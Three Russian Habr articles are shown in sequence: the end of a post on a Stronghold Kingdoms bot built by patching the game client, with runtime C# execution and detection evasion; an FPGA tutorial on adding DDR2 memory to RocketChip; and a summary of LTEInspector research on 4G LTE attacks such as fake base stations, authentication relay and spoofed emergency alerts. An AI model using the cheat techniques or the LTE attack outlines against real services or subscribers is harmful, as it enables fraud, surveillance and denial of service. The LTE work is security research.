CompilerResults loCompiled =
loCompiler.CompileAssemblyFromSource(loParameters, lcCode);
if (loCompiled.Errors.HasErrors)
{
string lcErrorMsg = "";
lcErrorMsg = loCompiled.Errors.Count.ToString() + " Errors:";
for (int x = 0; x < loCompiled.Errors.Count; x++)
lcErrorMsg = lcErrorMsg + "\r\nLine: " +
loCompiled.Errors[x].Line.ToString() + " - " +
loCompiled.Errors[x].ErrorText;
richTextBox\_Out.Text = lcErrorMsg + "\r\n\r\n" + lcCode;
return;
}
Assembly loAssembly = loCompiled.CompiledAssembly;
// \*\*\* Retrieve an obj ref – generic type only
object loObject = loAssembly.CreateInstance("NSpace.NClass");
if (loObject == null)
{
richTextBox\_Out.Text = "Couldn't load class.";
return;
}
object[] loCodeParms = new object[1];
loCodeParms[0] = "SHKBot";
try
{
object loResult = loObject.GetType().InvokeMember(
"DynamicCode", BindingFlags.InvokeMethod,
null, loObject, loCodeParms);
//DateTime ltNow = (DateTime)loResult;
if (loResult != null)
richTextBox\_Out.Text = "Method Call Result:\r\n\r\n" + loResult.ToString();
}
catch (Exception ex)
{
Console.WriteLine("\n======| EX INFO |======");
Console.WriteLine(ex);
Console.WriteLine("======| ======= |======\n");
}
}
}
}
```
Изначально я хотел воткнуть в бота NLua (библиотека Lua для C#), но поскольку он поддерживает только 3.5+ фреймворки, а использовать старые версии мне почему-то не захотелось я сделал так:
Для удобства ввел экзекуцию кода в реальном времени на самом шарпе — утомился я перезапускать игру после перекомпиляций раз за разом.
Пользовался [этим туториалом](http://www.west-wind.com/presentations/dynamicCode/DynamicCode.htm).
###### Итог
Плюсы такого решения:
1. Доступ ко всему игровому коду, будто вы имеете ее исходные коды.
2. Можете сделать собственную систему премиум-карт с очередью построек, изучением исследований без ограничений и даже больше:
* Алгоритм перепродажи товаров среди окружающих вас регионов.
* Автопостройка деревни «по макету» снятому с уже имеющейся, как пример.
* Автонайм различных юнитов.
* Автопочинка замка пока вас нет.
* Атоматический сбор гарантированной карты за время.
3. Ну и конечно динамическое исполнение кода.
4. Смешная защита от обнаружения. Ну и еще пара условий для того чтобы не слать подозрительные запросы-пустышки.
Минусы:
1. Придется патчить клиент с каждой версией ручками. Либо можно написать патчер с использованием Mono.Cecil или аналогом во фреймворке.
2. В отличие от премиум-карт придется держать клиент всегда включенным и онлайн.
3. Игра немаленькая, так что изучать «API» придется точно не час. Хотя при желании и инструментах разбирается в лет – было бы желание. Да и в любом случае лучше чем с пакетами возиться.
Вот так выглядит все это дело:
Заинтересовавшимся рекомендую взглянуть на следующие классы игры:
**Список классов*** GameEngine
* GameEngine.Instance
* GameEngine.Instance.World
* WorldMap
* WorldMap.VillageData
* RemoteServices
* RemoteServices.Instance
* AllVillagesPanel
* VillageMap
На момент написания статьи версия игры была 2.0.18.6.
Скачать именно эту версию с исполняемым файлом игры и ботом можно [здесь](http://rghost.ru/56224163).
Не волнуйтесь, личных данных не ворую. =) Устал от игры, поэтому делюсь с сообществом опытом.
Исходные коды доступны [здесь](https://github.com/Riketta/Stronghold-Kingdoms-Bot).
Если соберетесь использовать исходные коды — используйте в качестве библиотеки классов чистый исполняемый файл (не пропатченный вами), а так же отключите копирование этой ссылки в конечный каталог, дабы случайно не заменить пропатченный.
Прошу прощения за стиль написания статьи – пишу впервые. Возможно много скачу от темы к теме или мало технических аспектов описываю.
Возможно вам покажется что здесь много воды, но эта статья изначально затевалась как небольшая история — вероятно поэтому. | https://habr.com/ru/post/225663/ | null | ru | null |
# Часть 2: RocketChip: подключаем оперативную память
 В [предыдущей части](https://habr.com/ru/post/455391/) мы собрали микроконтроллер вообще без оперативной памяти на базе ПЛИС Altera/Intel. Однако на плате есть разъём с установленным SO-DIMM DDR2 1Gb, который, очевидно, хочется использовать. Для этого нам потребуется обернуть DDR2-контроллер с интерфейсом `ALTMEMPHY` в модуль, понятный для протокола работы с памятью TileLink, используемого повсюду в RocketChip. Под катом — тактильная отладка, брутфорс программирование и ГРАБЛИ.
*Как известно, в Computer Science есть две главные проблемы: инвалидация кешей и именование переменных. На КДПВ вы видите редкий момент — две главные проблемы CS встретили друг друга ~~и что-то замышляют~~.*
**DISCLAIMER:** В дополнение к предупреждению из предыдущей статьи настоятельно рекомендую дочитать статью до конца перед повторением опытов, во избежание повреждения ПЛИС, модуля памяти или цепей питания.
В этот раз хотелось если не загрузить Linux, то хотя бы подключить оперативную память, коей на моей плате аж целый гигабайт (а можно поставить до четырёх). Критерием успеха предлагается рассматривать возможность читать и писать через связку GDB+OpenOCD, в том числе по адресам, не выровненным на 16 байтов (ширина одного запроса в память). На первый взгляд, нужно просто чуточку поправить конфиг, не может же генератор SoC не поддерживать оперативную память из коробки. Поддерживать-то он поддерживает, но через интерфейс MIG (ну, и, возможно, ещё какой-нибудь интерфейс от Microsemi). Через стандартный интерфейс AXI4 тоже поддерживает, но его, насколько я понимаю, не так то просто заполучить (по крайней мере, не осваивая Platform Designer).
*Лирическое отступление:* Существует, насколько я понимаю, довольно популярная серия «внутричиповых» интерфейсов AXI, разработанная ARM. Тут можно было бы подумать, что оно всё насквозь патентованое и закрытое. Но после того, как я зарегистрировался (безо всяких «университетских программ» и прочего — просто по e-mail и заполнению анкеты) и получил доступ к спецификации, меня ждало приятное удивление. Я, конечно, не юрист, но похоже, что стандарт довольно таки открытый: вы либо обязаны использовать лицензированные ядра от ARM, либо вообще не претендовать на совместимость с ARM, *и тогда вроде всё ОК*. Но вообще, конечно, читайте лицензию, читайте с юристами и т.д.
Мартышка и TileLink (басня)
===========================
Задача казалась довольно простой, и я открыл описание уже имевшегося в проекте от поставщика платы модуля `ddr2_64bit`:
**Собственность Intel и вообще**
```
module ddr2_64bit (
local_address,
local_write_req,
local_read_req,
local_burstbegin,
local_wdata,
local_be,
local_size,
global_reset_n,
pll_ref_clk,
soft_reset_n,
local_ready,
local_rdata,
local_rdata_valid,
local_refresh_ack,
local_init_done,
reset_phy_clk_n,
mem_odt,
mem_cs_n,
mem_cke,
mem_addr,
mem_ba,
mem_ras_n,
mem_cas_n,
mem_we_n,
mem_dm,
phy_clk,
aux_full_rate_clk,
aux_half_rate_clk,
reset_request_n,
mem_clk,
mem_clk_n,
mem_dq,
mem_dqs);
input [25:0] local_address;
input local_write_req;
input local_read_req;
input local_burstbegin;
input [127:0] local_wdata;
input [15:0] local_be;
input [2:0] local_size;
input global_reset_n;
input pll_ref_clk;
input soft_reset_n;
output local_ready;
output [127:0] local_rdata;
output local_rdata_valid;
output local_refresh_ack;
output local_init_done;
output reset_phy_clk_n;
output [1:0] mem_odt;
output [1:0] mem_cs_n;
output [1:0] mem_cke;
output [13:0] mem_addr;
output [1:0] mem_ba;
output mem_ras_n;
output mem_cas_n;
output mem_we_n;
output [7:0] mem_dm;
output phy_clk;
output aux_full_rate_clk;
output aux_half_rate_clk;
output reset_request_n;
inout [1:0] mem_clk;
inout [1:0] mem_clk_n;
inout [63:0] mem_dq;
inout [7:0] mem_dqs;
...
```
Народная мудрость гласит: «Любую документацию на русском языке нужно начинать со слов: "Итак, оно не работает"». Но здесь не совсем *интуитивно понятный интерфейс*, поэтому [всё же почитаем](https://www.intel.com/content/dam/www/programmable/us/en/pdfs/literature/ug/ug_altmemphy.pdf). В описании нам тут же рассказывают, что работа с DDR2 — дело непростое. Нужно настроить PLL, провести некую калибровку, *крекс-фекс-пекс*, выставился сигнал `local_init_done`, можно работать. Вообще, логика именования здесь примерно следующая: имена с префиксами `local_` — это «пользовательский» интерфейс, порты `mem_` нужно непосредственно вывести на ножки, подключённые к модулю памяти, на `pll_ref_clk` нужно подать тактовый сигнал с указанной при настройке модуля частотой — из него будут получены остальные частоты, ну и всякие входы-выходы reset и выходы частот, синхронно с которыми должен работать пользовательский интерфейс.
Давайте создадим описание внешних сигналов к памяти и интерфейса модуля `ddr2_64bit`:
**trait MemIf**
```
trait MemIf {
val local_init_done = Output(Bool())
val global_reset_n = Input(Bool())
val pll_ref_clk = Input(Clock())
val soft_reset_n = Input(Bool())
val reset_phy_clk_n = Output(Clock())
val mem_odt = Output(UInt(2.W))
val mem_cs_n = Output(UInt(2.W))
val mem_cke = Output(UInt(2.W))
val mem_addr = Output(UInt(14.W))
val mem_ba = Output(UInt(2.W))
val mem_ras_n = Output(UInt(1.W))
val mem_cas_n = Output(UInt(1.W))
val mem_we_n = Output(UInt(1.W))
val mem_dm = Output(UInt(8.W))
val phy_clk = Output(Clock())
val aux_full_rate_clk = Output(Clock())
val aux_half_rate_clk = Output(Clock())
val reset_request_n = Output(Bool())
val mem_clk = Analog(2.W)
val mem_clk_n = Analog(2.W)
val mem_dq = Analog(64.W)
val mem_dqs = Analog(8.W)
def connectFrom(mem_if: MemIf): Unit = {
local_init_done := mem_if.local_init_done
mem_if.global_reset_n := global_reset_n
mem_if.pll_ref_clk := pll_ref_clk
mem_if.soft_reset_n := soft_reset_n
reset_phy_clk_n := mem_if.reset_phy_clk_n
mem_odt <> mem_if.mem_odt
mem_cs_n <> mem_if.mem_cs_n
mem_cke <> mem_if.mem_cke
mem_addr <> mem_if.mem_addr
mem_ba <> mem_if.mem_ba
mem_ras_n <> mem_if.mem_ras_n
mem_cas_n <> mem_if.mem_cas_n
mem_we_n <> mem_if.mem_we_n
mem_dm <> mem_if.mem_dm
mem_clk <> mem_if.mem_clk
mem_clk_n <> mem_if.mem_clk_n
mem_dq <> mem_if.mem_dq
mem_dqs <> mem_if.mem_dqs
phy_clk := mem_if.phy_clk
aux_full_rate_clk := mem_if.aux_full_rate_clk
aux_half_rate_clk := mem_if.aux_half_rate_clk
reset_request_n := mem_if.reset_request_n
}
}
class MemIfBundle extends Bundle with MemIf
```
**class dd2\_64bit**
```
class ddr2_64bit extends BlackBox {
override val io = IO(new MemIfBundle {
val local_address = Input(UInt(26.W))
val local_write_req = Input(Bool())
val local_read_req = Input(Bool())
val local_burstbegin = Input(Bool())
val local_wdata = Input(UInt(128.W))
val local_be = Input(UInt(16.W))
val local_size = Input(UInt(3.W))
val local_ready = Output(Bool())
val local_rdata = Output(UInt(128.W))
val local_rdata_valid = Output(Bool())
val local_refresh_ack = Output(Bool())
})
}
```
Тут меня поджидал первый букетик граблей: во первых, насмотревшись на класс `ROMGenerator`, я подумал, что и контроллер памяти можно выдернуть из глубин дизайна через глобальную переменную, а Chisel как-нибудь сам провода пробросит. Не получилось. Поэтому пришлось сделать жгут проводов `MemIfBundle`, который протягивался по всей иерархии. Почему же он не торчит из `BlackBox`-а, и не подключается разом? Дело в том, что у `BlackBox` все внешние порты запихнуты в `val io = IO(new Bundle { ... })`. Если в бандле весь `MemIfBundle` сделать одной переменной, то имя этой переменной будет сделано префиксом для имён всех портов, и имена банально не сойдутся с интерфейсом блока. Наверное, можно сделать *как-то более адекватно*, но пока оставим так.
Далее по аналогии с другими TileLink-устройствами (преимущественно живущими в `rocket-chip/src/main/scala/tilelink`), и в особенности, `BootROM`, опишем свой интерфейс к контроллеру памяти:
```
class AltmemphyDDR2RAM(implicit p: Parameters) extends LazyModule {
val MemoryPortParams(MasterPortParams(base, size, beatBytes, _, _, executable), 1) = p(ExtMem).get
val node = TLManagerNode(Seq(TLManagerPortParameters(
Seq(TLManagerParameters(
address = AddressSet.misaligned(base, size),
resources = new SimpleDevice("ram", Seq("sifive,altmemphy0")).reg("mem"),
regionType = RegionType.UNCACHED,
executable = executable,
supportsGet = TransferSizes(1, 16),
supportsPutFull = TransferSizes(1, 16),
fifoId = Some(0)
)),
beatBytes = 16
)))
override lazy val module = new AltmemphyDDR2RAMImp(this)
}
class AltmemphyDDR2RAMImp(_outer: AltmemphyDDR2RAM)(implicit p: Parameters)
extends LazyModuleImp(_outer) {
val (in, edge) = _outer.node.in(0)
val ddr2 = Module(new ddr2_64bit)
val mem_if = IO(new MemIfBundle)
// TODO здесь дорисовать сову
}
trait HasAltmemphyDDR2 { this: BaseSubsystem =>
val dtb: DTB
val mem_ctrl = LazyModule(new AltmemphyDDR2RAM)
mem_ctrl.node := mbus.toDRAMController(Some("altmemphy-ddr2"))()
}
trait HasAltmemphyDDR2Imp extends LazyModuleImp {
val outer: HasAltmemphyDDR2
val mem_if = IO(new MemIfBundle)
mem_if <> outer.mem_ctrl.module.mem_if
}
```
По стандартному ключу `ExtMem` мы извлекаем из конфига SoC параметры внешней памяти (*вот этот странный синтаксис* позволяет по аналогии с паттерн-матчингом сказать «я знаю, что мне вернут экземпляр case class `MemoryPortParameters` (это гарантируется типом ключа на этапе компиляции Scala-кода, при условии, что в рантайме мы не упадём, вынимая содержимое из `Option[MemoryPortParams]`, равного `None`, но тогда нечего было контроллер памяти создавать в `System.scala`...), так вот, сам case class мне не нужен, а некоторые его поля нужны»). Далее мы создаём manager port TileLink-устройства (протокол TileLink обеспечивает взаимодействие практически всего, что связано с памятью: контроллера DDR и других memory-mapped устройств, кешей процессора, возможно, ещё чего-то, у каждого устройства может быть по нескольку портов, каждое устройство может быть и manager, и client). `beatBytes`, насколько я понимаю, задаёт размер одной транзакции, а у нас обмен с контроллером ведётся по 16 байт. `HasAltmemphyDDR2` и `HasAltmemphyDDR2Imp` мы подмешаем в нужных местах в `System.scala`, напишем конфиг
```
class BigZeowaaConfig extends Config (
new WithNBreakpoints(2) ++
new WithNExtTopInterrupts(0) ++
new WithExtMemSize(1l << 30) ++
new WithNMemoryChannels(1) ++
new WithCacheBlockBytes(16) ++
new WithNBigCores(1) ++
new WithJtagDTM ++
new BaseConfig
)
```
Сделав некий «набросок совы» в `AltmemphyDDR2RAMImp`, я синтезировал дизайн (что-то всего на ~30MHz, хорошо, что я тактируюсь от 25MHz) и, положив пальцы на модули памяти и микросхему ПЛИС, залил его в плату. Тут я увидел, что такое *настоящий* интуитивно понятный интерфейс: это когда ты даёшь в gdb команду на запись в память, и по зависшему процессору и ~~обожжённым~~ чувствующим сильный нагрев пальцам понимаешь, что нужно срочно нажать на плате сброс и поправить контроллер.
Читаем документацию на контроллер DDR2
======================================
Видимо, пришло время почитать документацию на контроллер дальше списка портов. Так, что тут у нас?.. Упс, оказывается, входы-выходы с префиксом `local_` должны выставляться синхронно не с `pll_ref_clk`, который 25MHz, а либо с `phy_clk`, выдающим половинную частоту памяти для half-rate контроллера, либо, в нашем случае, `aux_half_rate_clk` (может, всё-таки `aux_full_rate_clk`?), выдающим полную частоту памяти, а она, на минуточку, 166MHz.
Стало быть, нужно пересекать границы частотных доменов. По [старой памяти](https://habr.com/ru/post/414995/) решил воспользоваться защёлками, точнее цепочкой из них:
```
+-+ +-+ +-+ +-+
--| |--| |--| |--| |--->
+-+ +-+ +-+ +-+
| | | |
---+ | | |
inclk | | |
| | |
--------+----+ |
outclk |
|
------------------+
output enable
```
Но, повозившись часок, пришёл к выводу, что не осилю на «скалярных» защёлках две очереди (в высокочастотный домен и обратно), каждая из которых будет иметь противонаправленные сигналы (`ready` и `valid`), да ещё и так, чтобы быть уверенным, что какой-нибудь битик не отстанет на такт-другой по дороге. Ещё через некоторое время я понял, что и описать синхронизацию на `ready`-`valid` без общего тактового сигнала — тоже задача сродни созданию неблокирующих структур данных в том смысле, что думать **и формально доказывать** нужно много, ошибиться легко, заметить трудно, а главное, всё уже реализовано до нас: у Intel есть примитив `dcfifo`, который представляет собой очередь конфигурируемой длины и ширины, читается и пишется которая из разных частотных доменов. В итоге я воспользовался экспериментальной возможностью свежего Chisel, а именно, параметризованными black box-ами:
```
class FIFO (val width: Int, lglength: Int) extends BlackBox(Map(
"intended_device_family" -> StringParam("Cyclone IV E"),
"lpm_showahead" -> StringParam("OFF"),
"lpm_type" -> StringParam("dcfifo"),
"lpm_widthu" -> IntParam(lglength),
"overflow_checking" -> StringParam("ON"),
"rdsync_delaypipe" -> IntParam(5),
"underflow_checking" -> StringParam("ON"),
"use_eab" -> StringParam("ON"),
"wrsync_delaypipe" -> IntParam(5),
"lpm_width" -> IntParam(width),
"lpm_numwords" -> IntParam(1 << lglength)
)) {
override val io = IO(new Bundle {
val data = Input(UInt(width.W))
val rdclk = Input(Clock())
val rdreq = Input(Bool())
val wrclk = Input(Clock())
val wrreq = Input(Bool())
val q = Output(UInt(width.W))
val rdempty = Output(Bool())
val wrfull = Output(Bool())
})
override def desiredName: String = "dcfifo"
}
```
И написал простенькую биндилку произвольных типов данных:
```
object FIFO {
def apply[T <: Data](
lglength: Int,
output: T, outclk: Clock,
input: T, inclk: Clock
): FIFO = {
val res = Module(new FIFO(width = output.widthOption.get, lglength = lglength))
require(input.getWidth == res.width)
output := res.io.q.asTypeOf(output)
res.io.rdclk := outclk
res.io.data := input.asUInt()
res.io.wrclk := inclk
res
}
}
```
Отладка
=======
После этого код превратился в перекладывание сообщений между доменами через две уже однонаправленных очереди: `tl_req` / `ddr_req` и `ddr_resp` / `tl_resp` (то, что имеет префикс `tl_`, тактируется вместе с TileLink, то, что `ddr_` — вместе с контроллером памяти). Проблема в том, что всё всё равно дедлочилось, а иногда и изрядно грелось. И если причиной перегрева оказалось одновременное выставление `local_read_req` и `local_write_req`, то с дедлоками так легко побороться не получилось. Код при этом представлял из себя что-то вроде
```
class AltmemphyDDR2RAMImp(_outer: AltmemphyDDR2RAM)(implicit p: Parameters)
extends LazyModuleImp(_outer) {
val addrSize = log2Ceil(_outer.size / 16)
val (in, edge) = _outer.node.in(0)
val ddr2 = Module(new ddr2_64bit)
require(ddr2.io.local_address.getWidth == addrSize)
val tl_clock = clock
val ddr_clock = ddr2.io.aux_full_rate_clk
val mem_if = IO(new MemIfBundle)
class DdrRequest extends Bundle {
val size = UInt(in.a.bits.size.widthOption.get.W)
val source = UInt(in.a.bits.source.widthOption.get.W)
val address = UInt(addrSize.W)
val be = UInt(16.W)
val wdata = UInt(128.W)
val is_reading = Bool()
}
val tl_req = Wire(new DdrRequest)
val ddr_req = Wire(new DdrRequest)
val fifo_req = FIFO(2, ddr_req, ddr_clock, tl_req, clock)
class DdrResponce extends Bundle {
val is_reading = Bool()
val size = UInt(in.d.bits.size.widthOption.get.W)
val source = UInt(in.d.bits.source.widthOption.get.W)
val rdata = UInt(128.W)
}
val tl_resp = Wire(new DdrResponce)
val ddr_resp = Wire(new DdrResponce)
val fifo_resp = FIFO(2, tl_resp, clock, ddr_resp, ddr_clock)
// логика общения с TileLink
withClock(ddr_clock) {
// логика общения с контроллером
}
```
Чтобы локализовать проблему, решил банально закомментировать весь код внутри `withClock(ddr_clock)` (не правда ли, визуально похоже на создание потока) и заменить его заглушкой, которая точно работает:
```
withClock (ddr_clock) {
ddr_resp.rdata := 0.U
ddr_resp.is_reading := ddr_req.is_reading
ddr_resp.size := ddr_req.size
ddr_resp.source := ddr_req.source
val will_read = Wire(!fifo_req.io.rdempty && !fifo_resp.io.wrfull)
fifo_req.io.rdreq := will_read
fifo_resp.io.wrreq := RegNext(will_read)
}
```
Как я уже потом понял, эта заглушка тоже не работала по причине, что конструкция `Wire(...)`, которую я добавил «для надёжности», чтобы показать, что это именно именованный провод, на самом деле использовала аргумент лишь как прототип для создания типа своего значения, **но не привязывала его к выражению-аргументу**. Также при попытке прочитать, что же всё-таки сгенерировалось, я понял, что в режиме симуляции имеется богатый выбор assertion-ов по поводу несоблюдения протокола TileLink. Они мне ещё наверняка пригодятся позже, но пока обошлось без попытки запустить симуляцию — а в чём её запускать? Verilator наверняка не знает про Alter-овские IP Cores, ModelSim Starter Edition скорее всего откажется симулировать такой огромный проект, но у меня он ещё и ругался на отсутствие модели контроллера для симуляции. А чтобы её сгенерировать, наверняка нужно сначала перейти на новую версию контроллера (потому что старый был настроен в древнем Quartus-е).
*На самом деле, блоки кода были взяты из почти работающей версии, а не той, что активно отлаживалась за несколько часов до этого. Но вам же лучше ;)* Кстати, постоянно пересобирать дизайн можно быстрее, если настройку `WithNBigCores(1)` заменить на `WithNSmallCores(1)` — с точки зрения базовой функциональности контроллера памяти разницы, вроде бы, нет. И ещё маленькая хитрость: чтобы не вбивать в gdb каждый раз одни и те же команды (там, по крайней мере у меня, нет сохранения истории команд **между** сессиями), можно просто сразу в командной строке набрать что-то вроде
```
../../rocket-tools/bin/riscv32-unknown-elf-gdb -q -ex "target remote :3333" -ex "x/x 0x80000000"
../../rocket-tools/bin/riscv32-unknown-elf-gdb -q -ex "target remote :3333" -ex "set variable *0x80000000=0x1234"
```
и запускать по мере надобности штатными средствами командного интерпретатора.
Итог
====
В итоге был получен такой вот код работы с контроллером:
```
withClock(ddr_clock) {
val rreq = RegInit(false.B) // запрос чтения (ещё не принят)
val wreq = RegInit(false.B) // запрос записи (ещё не принят)
val rreq_pending = RegInit(false.B) // запрос чтения (ждём данные)
ddr2.io.local_read_req := rreq
ddr2.io.local_write_req := wreq
// какие-то магические константы :)
ddr2.io.local_size := 1.U
ddr2.io.local_burstbegin := true.B
// данные из запроса (надеюсь на буферизованность вывода q FIFO)
ddr2.io.local_address := ddr_req.address
ddr2.io.local_be := ddr_req.be
ddr2.io.local_wdata := ddr_req.wdata
// копируем информацию, какой запрос обслуживаем
ddr_resp.is_reading := ddr_req.is_reading
ddr_resp.size := ddr_req.size
ddr_resp.source := ddr_req.source
// читаем следующий запрос, если готово **вообщё всё**
val will_read_request = !fifo_req.io.rdempty &&
!rreq && !wreq && !rreq_pending && ddr2.io.local_ready
// отвечаем, если есть что сказать
val will_respond = !fifo_resp.io.wrfull &&
( (rreq_pending && ddr2.io.local_rdata_valid) ||
(wreq && ddr2.io.local_ready))
val request_is_read = RegNext(will_read_request)
fifo_req.io.rdreq := will_read_request
fifo_resp.io.wrreq := will_respond
// прочитан запрос, заказанный на предыдущем такте
when (request_is_read) {
rreq := ddr_req.is_reading
rreq_pending := ddr_req.is_reading
wreq := !ddr_req.is_reading
}
when (will_respond) {
rreq := false.B
wreq := false.B
ddr_resp.rdata := ddr2.io.local_rdata
}
// прочитанных данных ещё нет, но запрос ушёл
when (rreq && ddr2.io.local_ready) {
rreq := false.B
}
}
```
Тут мы всё-таки немного поменяем критерий завершённости: я уже видел, как безо всякой работы с памятью записанные данные *как будто бы* читаются, потому что кеш. Поэтому скомпилируем простенький кусочек кода:
```
#include
static volatile uint8\_t \*x = (uint8\_t \*)0x80000000u;
void entry()
{
for (int i = 0; i < 1<<24; ++i) {
x[i] = i;
}
}
```
```
../../rocket-tools/bin/riscv64-unknown-elf-gcc test.c -S -O1
```
В итоге получим следующий фрагмент ассемблерного листинга, инициализирующий первые 16 Мб памяти:
```
li a5,1
slli a5,a5,31
li a3,129
slli a3,a3,24
.L2:
andi a4,a5,0xff
sb a4,0(a5)
addi a5,a5,1
bne a5,a3,.L2
```
Его и вставим в начала `bootrom/xip/leds.S`. Теперь на одном лишь кеше вряд ли всё сможет держаться. Осталось запустить Makefile, пересобрать проект в Quartus, залить его в плату, подключиться OpenOCD+GDB и… Предположительно, ура, победа:
```
$ ../../rocket-tools/bin/riscv32-unknown-elf-gdb -q -ex "target remote :3333"
Remote debugging using :3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x0000000000010014 in ?? ()
(gdb) x/x 0x80000000
0x80000000: 0x03020100
(gdb) x/x 0x80000100
0x80000100: 0x03020100
(gdb) x/x 0x80000111
0x80000111: 0x14131211
(gdb) x/x 0x80010110
0x80010110: 0x13121110
(gdb) x/x 0x80010120
0x80010120: 0x23222120
```
Так ли это, узнаем в следующей серии (я пока тоже не могу сказать про производительность, стабильность и т.д.).
Код: [AltmemphyDDR2RAM.scala](https://github.com/atrosinenko/fpga-shells/blob/4197271200cdfac99f9eef9ca51ab0f6e9fb4cc5/src/main/scala/devices/intel/AltmemphyDDR2RAM.scala). | https://habr.com/ru/post/456172/ | null | ru | null |
# Новые уязвимости 4G LTE: массовая рассылка сообщений, имперсонификация абонентских устройств и другие
*Сетевая архитектура LTE*
На прошедшей конференции по безопасности сетей и распределённых систем в Сан-Диего [NDSS 2018](https://www.ndss-symposium.org/) было немало интересного, но самое большое внимание привлёк доклад американских исследователей из Университета Айовы и Университета Пердью по уязвимостям в сетях связи четвёртого поколения (4G): [*LTEInspector: A Systematic Approach for Adversarial Testing of 4G LTE* (pdf)](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2018/02/ndss2018_02A-3_Hussain_paper.pdf). Такое внимание объяснимо, учитывая широкую распространённость сетей 4G LTE.
Исследователи сосредоточились на анализе трёх критических процедур, которые используются в протоколе:
* **Attach** — процедура, которая связывает абонентское устройство с сетью (например, при включении телефона).
* **Detach** — осуществляется при выключении устройства или отключении сети (например из-за плохого качества сигнала или если телефон не может пройти проверку подлинности в сети).
* **Paging** — этот протокол является частью установки вызова, чтобы форсировать на устройстве повторный приём системной информации, а также сообщений экстренного характера.
*Процедуры attach, paging и detach*
Данные процедуры критически важны для надёжного функционирования остальных. Например, без корректного выполнения процедуры Attach не работает вся последующая цепочка безопасности и возникают серьёзные последствия вроде атак MiTM.
Для тестирования сетей LTE исследователи создали инструмент под названием LTEInspector, который запустили в релевантной модели ([код на GitHub](https://github.com/relentless-warrior/LTEInspector/tree/master/model)).
*Архитектура LTEInspector*
Уязвимости найдены в модели упрощённой экосистемы LTE после проверки 14 свойств протокола, согласно стандартам. Хотя модель абстрактная и упрощённая, но исследователи проверили, что большинство новых атак (8 из 10) реализуемы на практике с SIM-картами американских операторов связи. Такие атаки обойдутся относительно недорого (стоимость оборудования от $1300 до $3900), если пренебречь юридическими последствиями. В большинстве случаев подобное тестирование в реальных условиях станет нарушением законодательства.
*Модель упрощённой экосистемы LTE*
По итогам тестирования с помощью LTEInspector удалось обнаружить новые уязвимости, которые можно использовать для проведения 10 новых атак. Особняком среди них стоит атака с передачей аутентификации (authentication relay attack), которая позволяет злоумышленнику подключиться к основным сетям, выдав свой терминал за устройство жертвы. Таким способом можно подменить координаты регистрации устройства в сети — например, это можно использовать для создания «фальшивого алиби» или, наоборот, сфабриковать улики при расследовании уголовного преступления. Если телефон жертвы в момент преступления находился в районе места преступления, то эта информация станет известна следственным органам — и невиновный человек может попасть под подозрение.
Другие варианты использования обнаруженных уязвимостей — получение примерной информации о реальном местонахождении пользователя, атаки типа «отказ в обслуживании» (DoS), внедрение в paging-канал оператора. В последнем случае можно не только заблокировать получение жертвой звонков или SMS, но и передать ему сфабрикованное «экстренное» сообщение по служебным каналам сотовой связи.
Например, атака с передачей аутентификации относится к классу атак против процедуры attach (атака A-4 в таблице внизу). Здесь злоумышленник должен установить промежуточный узел сотовой связи (eNodeB) и знать IMSI устройства жертвы. Для корректной работы фальшивого узла сотовой связи нужно предварительно подключиться к сети оператора с его SIM-картой и узнать параметры, которые оператор передаёт в сообщениях `system_info_block`. Для перехвата и прослушки входящих и исходящих сообщений LTE используется сниффер и программа [QXDM (Qualcomm Extensible Diagnostic-Monitor)](https://www.qualcomm.com/media/documents/files/qxdm-professional-qualcomm-extensible-diagnostic-monitor.pdf). Перехватываются следующие параметры конфигурации из сообщений `system_info_block` оператора: band, dl\_earfcn, mcc, mnc, p0\_nominal\_pucch, p0\_nominal\_pusch, q\_rx\_lev\_min, q\_hyst, DRX cycle.
Номер IMSI абонентского устройства злоумышленник может узнать, когда оно подключиться к его узлу eNodeB. Тогда на устройство отправляется запрос `identity_request` — и приходит ответ `identity_response`.
*Атака с передачей аутентификации*
Это самая «дорогая» атака, потому что для её валидации требуется установка сразу трёх устройств USRP стоимостью около $1300 каждое. Это необходимо, чтобы поднять собственную фиктивную сеть, аналогичную настоящей сети оператора, и осуществлять валидацию в ней, не нарушая закон.
USRP — периферийная аппаратная платформа для программно-определяемой радиосистемы (SDR). В полевых испытаниях исследователи использовали плату [USRP B210](https://www.ettus.com/product/details/UB210-KIT) ($1315) с программой [srsUE](https://github.com/srsLTE/srsUE), которая входит в состав [srsLTE](https://github.com/srsLTE) (исходный код открыт в репозитории на GitHub).
В таблице перечислены все новые атаки, обнаруженные в ходе исследования. Семь из них полностью подтверждены на практике, одна частично (P-4), а две не подтверждены (P-3 и P-5). Стоимость валидации атаки варьируется от $1300 до $3900, в зависимости от количества необходимых плат USRP. Фактически, это максимальная стоимость оборудования для атаки, если не считать стоимости оконечного устройства (UE). В реальности USRP можно найти дешевле, а в некоторых случаях для реальной атаки не нужно столько USRP, как для её валидации.
| ID | Название атаки | Условия | Стандарт/субъект | Следствия |
| --- | --- | --- | --- | --- |
| **A-1** | Ошибка синхронизации аутентификации | Известный IMSI, вредоносное UE | 3GPP | Отказ в подключении, отказ в сервисе |
| **A-2** | Отслеживаемость | Валидная команда security\_mode, вредоносный eNodeB | Сети операторов, мобильные устройства | Примерная информация о местоположении |
| **A-3** | Отключение через auth\_reject | вредоносный eNodeB | 3GPP | Отказ во всех сотовых сервисах |
| **A-4** | Передача аутентификации | Известный IMSI, вредоносный eNodeB | 3GPP, сети операторов | Чтение входящих/исходящих сообщений жертвы, скрытное отключение всех или определённых сервисов, подмена истории местоположений |
| **P-1** | Захват канала paging | Известный IMSI, вредоносный eNodeB | 3GPP | Скрытное отключение входящих сервисов |
| **P-2** | Незаметный сброс | Известный IMSI, вредоносный eNodeB | 3GPP | Незаметное для жертвы отключение от сети |
| **P-3** | Паника | Вредоносный eNodeB | 3GPP | Массовая рассылка экстренных предупреждений об угрозе жизни: например, искусственный хаос в случае террористической деятельности |
| **P-4** | Истощение энергии | Известный IMSI, GUTI, вредоносный eNodeB | 3GPP | Истощение батареи |
| **P-5** | Связываемость | Известный IMSI или старый псевдо-IMSI | 3GPP, расширенный 5G AKA | Примерная информация о местоположении |
| **D-1** | Отключение/понижение | Вредоносный eNodeB, известный IMSI (для таргетированной версии) | 3GPP | Отказ в сервисе, понижение до 2G/3G |
